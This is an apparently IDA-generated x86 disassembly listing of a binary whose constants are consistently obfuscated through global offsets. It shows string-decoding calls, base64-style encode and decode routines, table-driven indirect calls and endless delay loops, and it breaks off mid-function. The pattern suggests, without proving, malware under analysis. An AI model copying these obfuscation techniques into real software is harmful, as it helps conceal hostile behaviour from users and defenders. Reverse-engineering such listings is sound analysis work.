		movsx	edx, word_5511BC
		movsx	ecx, word_551224
		lea	edx, [edx+ecx+19h]
		mov	ecx, edx
		sub	ecx, edi
		mov	eax, esi
		shr	eax, cl
		or	ebx, eax
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4420F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442127	proc near		; CODE XREF: sub_43BF49+14Fp
					; sub_43C10A+1C3p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_442138:				; CODE XREF: sub_442127+16j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442138
		mov	esi, eax
		mov	eax, dword_5510A8
		sub	eax, 8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax]
		or	eax, 0FFFFFFFFh


loc_442154:				; CODE XREF: sub_442127+32j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442154
		mov	[ebp+var_C], eax
		mov	eax, dword_551250
		sub	eax, 2
		mov	[ebp+var_4], eax
		jmp	short loc_4421BD
; ---------------------------------------------------------------------------


loc_44216B:				; CODE XREF: sub_442127+9Cj
		mov	eax, dword_5510C0
		movsx	edx, word_551254
		mov	ebx, eax
		add	ebx, edx
		sub	ebx, 9
		mov	edi, dword_551198
		sub	edi, 3
		jmp	short loc_4421B6
; ---------------------------------------------------------------------------


loc_442189:				; CODE XREF: sub_442127+91j
		mov	eax, edi
		add	eax, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+edi]
		cmp	eax, edx
		jnz	short loc_4421BA
		inc	ebx
		cmp	ebx, esi
		jnz	short loc_4421B5
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_4421B5
		mov	eax, [ebp+var_4]
		jmp	short loc_4421CA
; ---------------------------------------------------------------------------


loc_4421B5:				; CODE XREF: sub_442127+7Cj
					; sub_442127+87j
		inc	edi


loc_4421B6:				; CODE XREF: sub_442127+60j
		cmp	edi, esi
		jb	short loc_442189


loc_4421BA:				; CODE XREF: sub_442127+77j
		inc	[ebp+var_4]


loc_4421BD:				; CODE XREF: sub_442127+42j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	short loc_44216B
		mov	eax, 0FFFFh


loc_4421CA:				; CODE XREF: sub_442127+8Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442127	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4421CF	proc near		; CODE XREF: sub_43A985+A9p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, ebx
		add	eax, 2
		mov	ecx, 3
		mov	edx, 0AAAAAAABh
		mul	edx
		shr	edx, 1
		mov	[ebp+var_4], edx
		mov	edi, edx
		shl	edi, 2
		mov	edx, [ebp+arg_C]
		dec	edx
		cmp	edi, edx
		jbe	short loc_442207
		xor	eax, eax
		jmp	loc_442308
; ---------------------------------------------------------------------------


loc_442207:				; CODE XREF: sub_4421CF+2Fj
		push	offset byte_551D97
		call	sub_43AC94
		pop	ecx
		push	eax
		push	offset byte_550040
		call	sub_44799C
		jmp	short loc_442254
; ---------------------------------------------------------------------------


loc_44221F:				; CODE XREF: sub_4421CF+91j
		push	esi
		push	[ebp+arg_0]
		call	sub_446429
		add	esp, 8
		movsx	eax, word_55120C
		lea	esi, [eax+esi+4]
		mov	eax, dword_551158
		add	eax, 2
		sub	ebx, eax
		mov	eax, dword_5511F4
		add	eax, dword_551128
		sub	eax, 9
		add	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax


loc_442254:				; CODE XREF: sub_4421CF+4Ej
		movsx	eax, word_551254
		sub	eax, 5
		cmp	ebx, eax
		jnb	short loc_44221F
		movsx	eax, word_55112C
		add	eax, dword_551198
		sub	eax, 8
		cmp	ebx, eax
		jbe	short loc_4422F1
		push	3
		mov	eax, dword_5511E8
		add	eax, dword_5510E0
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_4CDA34
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_4CD914
		push	esi
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_446429
		add	esp, 20h
		mov	eax, dword_551244
		movsx	edx, word_551140
		add	eax, edx
		sub	eax, 9
		mov	byte ptr [esi+eax], 3Dh
		movsx	eax, word_5510CC
		sub	eax, 4
		cmp	eax, ebx
		jnz	short loc_4422E6
		movsx	eax, word_551210
		movsx	edx, word_551220
		add	eax, edx
		sub	eax, 2
		mov	byte ptr [esi+eax], 3Dh


loc_4422E6:				; CODE XREF: sub_4421CF+FEj
		mov	eax, dword_5511E0
		sub	eax, 5
		lea	esi, [esi+eax]


loc_4422F1:				; CODE XREF: sub_4421CF+A5j
		movsx	eax, word_551120
		sub	eax, 3
		mov	edx, dword_5510C0
		dec	edx
		mov	[esi+eax], dl
		xor	eax, eax
		inc	eax


loc_442308:				; CODE XREF: sub_4421CF+33j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4421CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44230D	proc near		; CODE XREF: sub_43EC94+280p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_C]
		xor	edi, edi
		jmp	short loc_442341
; ---------------------------------------------------------------------------


loc_44231D:				; CODE XREF: sub_44230D+3Aj
		mov	edx, ds:dword_44B9E0[edi*4]
		mov	ds:dword_448008, edx
		push	[ebp+arg_10]
		push	offset sub_43A985
		push	ebx
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_448008
		inc	edi


loc_442341:				; CODE XREF: sub_44230D+Ej
		cmp	edi, dword_5512BC
		jb	short loc_44231D
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44230D	endp


; =============== S U B	R O U T	I N E =======================================



sub_44234E	proc near		; CODE XREF: sub_43F4C7+273p
		push	offset byte_551D83
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_44B598, eax
		push	offset dword_551D74
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_4CDA48, eax
		push	offset dword_551D64
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		mov	ds:dword_48C318, eax
		push	offset asc_551D56 ; "\n"
		call	sub_43AC94
		push	eax
		call	sub_43F93A
		add	esp, 20h
		mov	ds:dword_4CDA38, eax
		retn
sub_44234E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4423A6	proc near		; CODE XREF: sub_442CE5+BDp
					; sub_445895+1D2p ...

var_2F038	= dword	ptr -2F038h
var_2F033	= byte ptr -2F033h
var_F034	= dword	ptr -0F034h
var_F030	= dword	ptr -0F030h
var_F02B	= byte ptr -0F02Bh
var_F02A	= dword	ptr -0F02Ah
var_F022	= byte ptr -0F022h
var_EF23	= byte ptr -0EF23h
var_EE24	= byte ptr -0EE24h
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 2F038h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		movsx	edi, word_551180
		add	edi, dword_5510C8
		imul	edi, 3C0h
		mov	esi, dword_551248
		add	esi, 0EA59h
		movsx	ebx, word_55115C
		add	esi, ebx
		add	edi, esi
		shl	edi, 1
		mov	[ebp+var_2F038], edi
		push	edi
		call	sub_447901
		add	esp, 4
		mov	[ebp+var_F02A],	eax
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_551180
		dec	edx
		cmp	eax, edx
		jnz	short loc_44242A
		push	offset asc_551D4B ; "\a"
		call	sub_43AC94
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_50EA28
		add	esp, 8
		jmp	loc_4425E9
; ---------------------------------------------------------------------------


loc_44242A:				; CODE XREF: sub_4423A6+5Fj
		call	ds:dword_48C2F0
		mov	ebx, eax
		mov	[ebp+var_F02B],	bl
		push	offset byte_551D29
		call	sub_43AC94
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_F022]
		push	edi
		call	ds:dword_44B1A4
		add	esp, 8
		mov	eax, dword_551258
		inc	eax
		movzx	edx, [ebp+arg_0]
		cmp	eax, edx
		jnz	short loc_4424BE
		mov	eax, dword_551184
		add	eax, dword_551174
		sub	eax, 2
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF23]
		push	eax
		push	[ebp+arg_8]
		call	sub_444970
		add	esp, 0Ch
		push	offset byte_551D15
		call	sub_43AC94
		add	esp, 4
		movzx	edi, [ebp+var_F02B]
		push	edi
		lea	edi, [ebp+var_EF23]
		push	edi
		lea	edi, [ebp+var_F022]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_50EA28
		add	esp, 14h


loc_4424BE:				; CODE XREF: sub_4423A6+BCj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_551118
		add	edx, dword_5511F0
		sub	edx, 12h
		cmp	eax, edx
		jnz	loc_4425E9
		mov	eax, dword_5510E8
		sub	eax, 7
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF23]
		push	eax
		push	dword_5512DC
		call	sub_444970
		add	esp, 0Ch
		push	offset aC	; "C"
		call	sub_43AC94
		add	esp, 4
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_8]
		mov	ebx, edi
		add	ebx, esi
		push	ebx
		movsx	ebx, word_551228
		add	ebx, 3
		push	ebx
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		movzx	edi, [ebp+var_F02B]
		push	edi
		mov	edi, esi
		sub	edi, [ebp+arg_C]
		mov	esi, dword_551128
		add	esi, dword_5511F0
		sub	esi, 0Ch
		sub	edi, esi
		push	edi
		push	offset dword_48C300
		push	[ebp+arg_10]
		push	[ebp+arg_20]
		lea	edi, [ebp+var_EF23]
		push	edi
		lea	edi, [ebp+var_F022]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_50EA28
		add	esp, 38h
		mov	eax, dword_551128
		movsx	edx, word_551228
		add	eax, edx
		sub	eax, 0Ch
		cmp	[ebp+arg_10], eax
		jnz	short loc_4425E9
		mov	eax, dword_5510F8
		add	eax, dword_5510D0
		sub	eax, 8
		cmp	[ebp+arg_18], eax
		jnz	short loc_4425E9
		push	offset word_551CAA
		call	sub_43AC94
		add	esp, 4
		push	offset dword_54EC10
		push	dword_5510A4
		push	[ebp+arg_20]
		lea	edi, [ebp+var_EF23]
		push	edi
		lea	edi, [ebp+var_F022]
		push	edi
		push	eax
		lea	edi, [ebp+var_2F033]
		push	edi
		call	ds:dword_50EA28
		add	esp, 1Ch
		lea	eax, [ebp+var_2F033]
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		call	ds:dword_44802C
		add	esp, 8


loc_4425E9:				; CODE XREF: sub_4423A6+7Fj
					; sub_4423A6+12Dj ...
		push	[ebp+var_2F038]
		push	[ebp+var_F02A]
		mov	eax, dword_551258
		neg	eax
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		mov	eax, dword_551138
		sub	eax, 3
		push	eax
		push	0
		call	ds:dword_50EA34
		push	offset asc_551C90 ; "\t"
		call	sub_43AEDD
		add	esp, 4
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_F030],	eax
		push	[ebp+var_F02A]
		call	ds:dword_44900C
		mov	[ebp+var_F034],	eax
		push	eax
		push	[ebp+var_F030]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+104h]
		push	[ebp+var_F034]
		call	ds:dword_550034
		push	[ebp+var_F030]
		call	ds:dword_550034
		lea	esp, [ebp-2F044h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4423A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442677	proc near		; CODE XREF: sub_43A985+11Bp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_43E369
		add	esp, 8
		mov	esi, eax
		movsx	eax, word_5511BC
		movsx	edx, word_551168
		add	eax, edx
		sub	eax, 9
		cmp	esi, eax
		jnz	short loc_4426AF
		xor	eax, eax
		jmp	loc_442762
; ---------------------------------------------------------------------------


loc_4426AF:				; CODE XREF: sub_442677+2Fj
		mov	edi, dword_551174
		add	edi, 3
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4426C0:				; CODE XREF: sub_442677+4Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4426C0
		mov	[ebp+var_8], eax


loc_4426CA:				; CODE XREF: sub_442677+DCj
		lea	ecx, [esi+edi]
		or	eax, 0FFFFFFFFh


loc_4426D0:				; CODE XREF: sub_442677+5Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4426D0
		mov	ebx, eax
		sub	ebx, [ebp+arg_8]
		cmp	ebx, [ebp+var_8]
		jnz	short loc_442739
		mov	[ebp+var_10], 1
		movsx	eax, word_551110
		movsx	edx, word_551094
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_C], eax
		jmp	short loc_442722
; ---------------------------------------------------------------------------


loc_442700:				; CODE XREF: sub_442677+AEj
		mov	eax, [ebp+var_C]
		mov	edx, edi
		add	edx, [ebp+arg_8]
		add	edx, eax
		movzx	edx, byte ptr [esi+edx]
		mov	ecx, [ebp+arg_4]
		movsx	eax, byte ptr [ecx+eax]
		cmp	edx, eax
		jz	short loc_44271F
		and	[ebp+var_10], 0
		jmp	short loc_442727
; ---------------------------------------------------------------------------


loc_44271F:				; CODE XREF: sub_442677+A0j
		inc	[ebp+var_C]


loc_442722:				; CODE XREF: sub_442677+87j
		cmp	[ebp+var_C], ebx
		jb	short loc_442700


loc_442727:				; CODE XREF: sub_442677+A6j
		cmp	[ebp+var_10], 0
		jz	short loc_442739
		push	esi
		call	ds:dword_44B5CC
		xor	eax, eax
		inc	eax
		jmp	short loc_442762
; ---------------------------------------------------------------------------


loc_442739:				; CODE XREF: sub_442677+68j
					; sub_442677+B4j
		add	edi, ebx
		movsx	eax, word_5510A0
		add	eax, dword_55124C
		sub	eax, 7
		add	edi, eax
		add	edi, [ebp+arg_8]
		cmp	edi, [ebp+var_4]
		jb	loc_4426CA
		push	esi
		call	ds:dword_44B5CC
		xor	eax, eax


loc_442762:				; CODE XREF: sub_442677+33j
					; sub_442677+C0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_442767	proc near		; DATA XREF: sub_441AE5+189o
		push	ebp
		mov	ebp, esp


loc_44276A:				; CODE XREF: sub_442767+34j
		movsx	eax, word_551260
		sub	eax, 9
		push	eax
		push	offset sub_43E2F5
		mov	eax, dword_5510F4
		sub	eax, 2
		push	eax
		call	ds:dword_449010
		movsx	eax, word_551188
		sub	eax, 5
		push	eax
		call	ds:dword_50EA24
		pop	ecx
		jmp	short loc_44276A
sub_442767	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4427A1	proc near		; CODE XREF: sub_43BF49+F5p
					; sub_4467C4+28Fp ...

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_40D		= byte ptr -40Dh
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 41Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_5510C8
		mov	esi, eax
		add	esi, dword_55119C
		sub	esi, 7
		jmp	short loc_4427D8
; ---------------------------------------------------------------------------


loc_4427BF:				; CODE XREF: sub_4427A1+43j
		mov	edx, dword_551244
		add	edx, dword_55124C
		sub	edx, 0Bh
		neg	edx
		mov	[ebp+esi*4+var_400], edx
		inc	esi


loc_4427D8:				; CODE XREF: sub_4427A1+1Cj
		mov	eax, dword_551238
		add	eax, 0F7h
		cmp	esi, eax
		jb	short loc_4427BF
		mov	ebx, [ebp+arg_4]
		movsx	eax, word_551110
		dec	eax
		mov	[ebp+var_408], eax
		mov	edx, dword_5511D4
		add	edx, 1Dh
		add	edx, dword_551238
		movsx	ecx, word_5511AC
		mov	eax, dword_5510D4
		lea	ecx, [ecx+eax+32h]
		mov	[ebp+edx*4+var_400], ecx
		mov	eax, [ebp+arg_8]
		add	eax, ebx
		mov	[ebp+var_404], eax
		movsx	edx, word_55115C
		movsx	ecx, word_551268
		lea	edx, [edx+ecx+25h]
		movsx	ecx, word_551104
		movsx	eax, word_551240
		lea	ecx, [ecx+eax+38h]
		mov	[ebp+edx*4+var_400], ecx
		movsx	eax, word_551220
		mov	edi, eax
		add	edi, dword_551100
		dec	edi
		jmp	short loc_44289B
; ---------------------------------------------------------------------------


loc_442865:				; CODE XREF: sub_4427A1+10Aj
		movsx	edx, word_551144
		lea	edx, [edx+edi+40h]
		mov	[ebp+edx*4+var_400], edi
		movsx	edx, word_551120
		add	edx, 5Eh
		mov	ecx, edi
		add	ecx, edx
		movsx	edx, word_55115C
		add	edx, 17h
		mov	eax, edi
		add	eax, edx
		mov	[ebp+ecx*4+var_400], eax
		inc	edi


loc_44289B:				; CODE XREF: sub_4427A1+C2j
		mov	eax, dword_551100
		add	eax, 1Ah
		add	eax, dword_5510BC
		cmp	edi, eax
		jb	short loc_442865
		mov	eax, dword_551258
		add	eax, dword_55109C
		sub	eax, 8
		mov	[ebp+var_40C], eax
		mov	edi, dword_551150
		add	edi, 2Ch
		jmp	short loc_4428EA
; ---------------------------------------------------------------------------


loc_4428CC:				; CODE XREF: sub_4427A1+153j
		mov	edx, dword_5510DC
		movsx	ecx, word_551194
		add	edx, ecx
		sub	edx, 0Ah
		mov	ecx, edi
		add	ecx, edx
		mov	[ebp+edi*4+var_400], ecx
		inc	edi


loc_4428EA:				; CODE XREF: sub_4427A1+129j
		mov	eax, dword_5511F0
		add	eax, 31h
		cmp	edi, eax
		jb	short loc_4428CC
		mov	eax, dword_551198
		mov	esi, eax
		add	esi, dword_5510D4
		sub	esi, 0Ah
		mov	edi, [ebp+arg_0]
		jmp	loc_442A44
; ---------------------------------------------------------------------------


loc_44290E:				; CODE XREF: sub_4427A1+2AEj
		movsx	edx, byte ptr [edi]
		shl	edx, 2
		mov	esi, [ebp+edx+var_400]
		mov	eax, dword_551130
		sub	eax, 2
		neg	eax
		cmp	esi, eax
		jz	loc_442A43
		mov	eax, [ebp+var_408]
		or	eax, eax
		jl	loc_442A3D
		cmp	eax, 3
		jg	loc_442A3D
		jmp	off_551424[eax*4]


loc_44294B:				; DATA XREF: .data:off_551424o
		inc	[ebp+var_408]
		jmp	loc_442A3D
; ---------------------------------------------------------------------------


loc_442956:				; CODE XREF: sub_4427A1+1A3j
					; DATA XREF: .data:00551428o
		mov	edx, [ebp+var_40C]
		mov	ecx, dword_551200
		dec	ecx
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_418], eax
		mov	edx, esi
		and	edx, 30h
		mov	ecx, dword_5511D0
		add	ecx, dword_551114
		dec	ecx
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_418]
		or	edx, eax
		mov	[ebp+var_40D], dl
		inc	[ebp+var_408]
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_40D]
		mov	[eax], dl
		jmp	loc_442A3D
; ---------------------------------------------------------------------------


loc_4429A7:				; CODE XREF: sub_4427A1+1A3j
					; DATA XREF: .data:0055142Co
		mov	edx, [ebp+var_40C]
		and	edx, 0Fh
		mov	ecx, dword_5511E8
		sub	ecx, 3
		mov	eax, edx
		shl	eax, cl
		mov	[ebp+var_41C], eax
		mov	edx, esi
		and	edx, 3Ch
		movsx	ecx, word_5511C4
		add	ecx, dword_5511D4
		sub	ecx, 0Eh
		mov	eax, edx
		sar	eax, cl
		mov	edx, [ebp+var_41C]
		or	edx, eax
		mov	[ebp+var_40D], dl
		inc	[ebp+var_408]
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_40D]
		mov	[eax], dl
		jmp	short loc_442A3D
; ---------------------------------------------------------------------------


loc_4429FD:				; CODE XREF: sub_4427A1+1A3j
					; DATA XREF: .data:00551430o
		mov	edx, [ebp+var_40C]
		and	edx, 3
		movsx	ecx, word_5511CC
		mov	eax, edx
		shl	eax, cl
		mov	edx, eax
		or	edx, esi
		mov	[ebp+var_40D], dl
		mov	eax, ebx
		inc	ebx
		mov	dl, [ebp+var_40D]
		mov	[eax], dl
		mov	eax, dword_5511F8
		movsx	edx, word_5510F0
		add	eax, edx
		sub	eax, 0Ah
		mov	[ebp+var_408], eax


loc_442A3D:				; CODE XREF: sub_4427A1+194j
					; sub_4427A1+19Dj ...
		mov	[ebp+var_40C], esi


loc_442A43:				; CODE XREF: sub_4427A1+186j
		inc	edi


loc_442A44:				; CODE XREF: sub_4427A1+168j
		cmp	byte ptr [edi],	0
		jz	short loc_442A55
		cmp	ebx, [ebp+var_404]
		jb	loc_44290E


loc_442A55:				; CODE XREF: sub_4427A1+2A6j
		movsx	eax, byte ptr [edi]
		mov	edx, dword_5511B8
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_442A6C
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		jmp	short loc_442A73
; ---------------------------------------------------------------------------


loc_442A6C:				; CODE XREF: sub_4427A1+2C2j
		mov	eax, dword_551218
		neg	eax


loc_442A73:				; CODE XREF: sub_4427A1+2C9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4427A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442A78	proc near		; CODE XREF: sub_43E491+3D7p
					; sub_4467C4:loc_446E2Fp

var_445		= byte ptr -445h
var_341		= byte ptr -341h
var_23D		= byte ptr -23Dh
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h

		push	ebp
		mov	ebp, esp
		sub	esp, 448h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_341]
		push	eax
		movsx	eax, word_551274
		add	eax, dword_551118
		sub	eax, 0Ah
		push	eax
		mov	eax, dword_551150
		add	eax, dword_55125C
		sub	eax, 9
		push	eax
		push	1Ch
		movsx	eax, word_5511EC
		movsx	edx, word_551188
		add	eax, edx
		sub	eax, 8
		push	eax
		call	ds:dword_48BA00
		lea	eax, [ebp+var_341]
		push	eax
		lea	eax, [ebp+var_445]
		push	eax
		call	ds:dword_44B1A4
		push	offset word_551C82
		call	sub_43AC94
		push	eax
		lea	edx, [ebp+var_445]
		push	edx
		call	ds:dword_44802C
		add	esp, 14h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_445]
		push	eax
		call	ds:dword_4CC328
		mov	ebx, eax
		mov	eax, dword_55109C
		add	eax, 0FFFFFFF5h
		add	eax, dword_551138
		cmp	eax, ebx
		jz	loc_442BE7
		lea	eax, [ebp+var_112]
		push	eax
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_441D71
		add	esp, 8
		xor	esi, esi
		inc	esi


loc_442B3B:				; CODE XREF: sub_442A78+F8j
		lea	eax, [ebp+var_13E]
		push	eax
		push	ebx
		call	ds:dword_449FC8
		mov	esi, eax
		or	esi, esi
		jnz	short loc_442B58
		push	ebx
		call	ds:dword_44B5BC
		jmp	short loc_442B72
; ---------------------------------------------------------------------------


loc_442B58:				; CODE XREF: sub_442A78+D5j
		lea	eax, [ebp+var_112]
		push	eax
		lea	eax, [ebp+var_341]
		push	eax
		call	sub_441D71
		add	esp, 8
		or	esi, esi
		jnz	short loc_442B3B


loc_442B72:				; CODE XREF: sub_442A78+DEj
		mov	eax, dword_5510B4
		movsx	edx, word_5510E4
		add	eax, edx
		movsx	edx, word_551214
		sub	edx, 3
		mov	ds:byte_54EC0C[eax], dl
		mov	eax, dword_5511D8
		mov	edi, eax
		add	edi, dword_551150
		sub	edi, 0Bh
		jmp	short loc_442BDF
; ---------------------------------------------------------------------------


loc_442BA3:				; CODE XREF: sub_442A78+16Dj
		push	offset dword_551C78
		call	sub_43AC94
		push	ds:dword_4CEA20[edi*4]
		push	ds:dword_48C320[edi*4]
		push	eax
		lea	edx, [ebp+var_23D]
		push	edx
		call	ds:dword_50EA28
		lea	eax, [ebp+var_23D]
		push	eax
		push	offset dword_54EC10
		call	ds:dword_44802C
		add	esp, 1Ch
		inc	edi


loc_442BDF:				; CODE XREF: sub_442A78+129j
		cmp	edi, dword_5512BC
		jb	short loc_442BA3


loc_442BE7:				; CODE XREF: sub_442A78+A4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_442BEC	proc near		; DATA XREF: sub_441AE5+17Fo
		push	ebp
		mov	ebp, esp


loc_442BEF:				; CODE XREF: sub_442BEC+23j
		call	sub_43ADE6
		mov	eax, dword_551204
		add	eax, 1D4B8h
		movsx	edx, word_5511BC
		add	eax, edx
		push	eax
		call	ds:dword_50EA24
		pop	ecx
		jmp	short loc_442BEF
sub_442BEC	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_442C15	proc near		; CODE XREF: sub_43E491+3CDp
		push	edi
		movsx	edi, word_551180
		sub	edi, 2
		jmp	short loc_442C3A
; ---------------------------------------------------------------------------


loc_442C22:				; CODE XREF: sub_442C15+31j
		movsx	eax, word_5511C4
		add	eax, dword_55118C
		sub	eax, 7
		mov	ds:byte_550140[edi], al
		inc	edi


loc_442C3A:				; CODE XREF: sub_442C15+Bj
		movsx	eax, word_551180
		add	eax, 0Eh
		cmp	edi, eax
		jb	short loc_442C22
		mov	eax, dword_5511DC
		mov	edx, dword_551230
		add	edx, 0B2h
		add	edx, eax
		mov	ds:byte_55013F[eax], dl
		movsx	eax, word_551220
		movsx	edx, word_5510CC
		mov	ecx, dword_5510D0
		lea	edx, [edx+ecx+3Dh]
		mov	ds:byte_55014E[eax], dl
		pop	edi
		retn
sub_442C15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_442C83	proc near		; DATA XREF: sub_43CB55+19Ao

var_A		= byte ptr -0Ah
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	offset sub_445D32
		push	dword ptr fs:0
		mov	fs:0, esp
		push	offset dword_551C70
		call	sub_43AC94
		push	dword ptr [edi]
		push	eax
		lea	esi, [ebp+var_A]
		push	esi
		call	ds:dword_50EA28
		add	esp, 10h


loc_442CB9:				; CODE XREF: sub_442C83+5Aj
		push	0
		push	dword ptr [edi]
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_44757D
		movsx	eax, word_55120C
		add	eax, dword_551100
		push	eax
		call	ds:dword_50EA24
		add	esp, 10h
		jmp	short loc_442CB9
sub_442C83	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442CE5	proc near		; CODE XREF: sub_43E04C+169p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_551184
		add	eax, dword_551130
		sub	eax, 0Bh
		push	eax
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_43C10A
		add	esp, 8
		mov	eax, dword_5511F8
		mov	edi, eax
		add	edi, dword_5511C0
		sub	edi, 7
		jmp	short loc_442D41
; ---------------------------------------------------------------------------


loc_442D25:				; CODE XREF: sub_442CE5+62j
		cmp	[ebp+edi+var_FFF], 23h
		jnz	short loc_442D40
		movsx	eax, word_551094
		sub	eax, 3
		mov	[ebp+edi+var_FFF], al


loc_442D40:				; CODE XREF: sub_442CE5+48j
		inc	edi


